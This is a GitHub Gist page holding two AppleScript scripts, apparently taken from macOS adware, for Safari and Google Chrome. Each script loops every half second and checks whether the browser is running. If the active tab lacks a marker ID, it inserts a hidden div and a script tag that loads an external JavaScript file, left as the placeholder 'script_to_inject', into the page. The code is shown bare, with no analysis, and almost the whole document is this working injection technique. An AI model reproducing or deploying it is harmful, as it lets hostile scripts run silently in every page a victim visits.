Created
February 21, 2017 18:47
-
-
Save aserper/c6344ef548733cc4977872928c5f5d60 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
global _pid | |
set _pid to "pid_value_to_replace" | |
repeat | |
«event XFdrIjct» {} | |
end repeat | |
on «event XFdrIjct» {} | |
delay 0.5 | |
try | |
if is_Safari_running() then | |
tell application "Safari" | |
tell application "Safari" to set page_source to do JavaScript "document.body.innerHTML;" in current tab of first window | |
if page_source does not contain _pid then | |
set theURL to URL of current tab of first window | |
if theURL is not equal to "about:blank" then | |
tell application "Safari" to do JavaScript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;" in current tab of first window | |
tell application "Safari" to do JavaScript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);" in current tab of first window | |
end if | |
end if | |
end tell | |
end if | |
end try | |
end «event XFdrIjct» | |
on is_Safari_running() | |
tell application "System Events" to (name of processes) contains "Safari" | |
end is_Safari_runningglobal _pid | |
set _pid to "pid_value_to_replace" | |
repeat | |
«event XFdrIjct» {} | |
end repeat | |
on «event XFdrIjct» {} | |
delay 0.5 | |
try | |
if is_Chrome_running() then | |
tell application "Google Chrome" to tell active tab of window 1 | |
set sourceHtml to execute javascript "document.getElementsByTagName('html')[0].innerHTML" | |
if sourceHtml does not contain _pid then | |
tell application "Google Chrome" to execute front window's active tab javascript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;" | |
tell application "Google Chrome" to execute front window's active tab javascript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);" | |
end if | |
end tell | |
end if | |
end try | |
end «event XFdrIjct» | |
on is_Chrome_running() | |
tell application "System Events" to (name of processes) contains "Google Chrome" | |
end is_Chrome_running |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment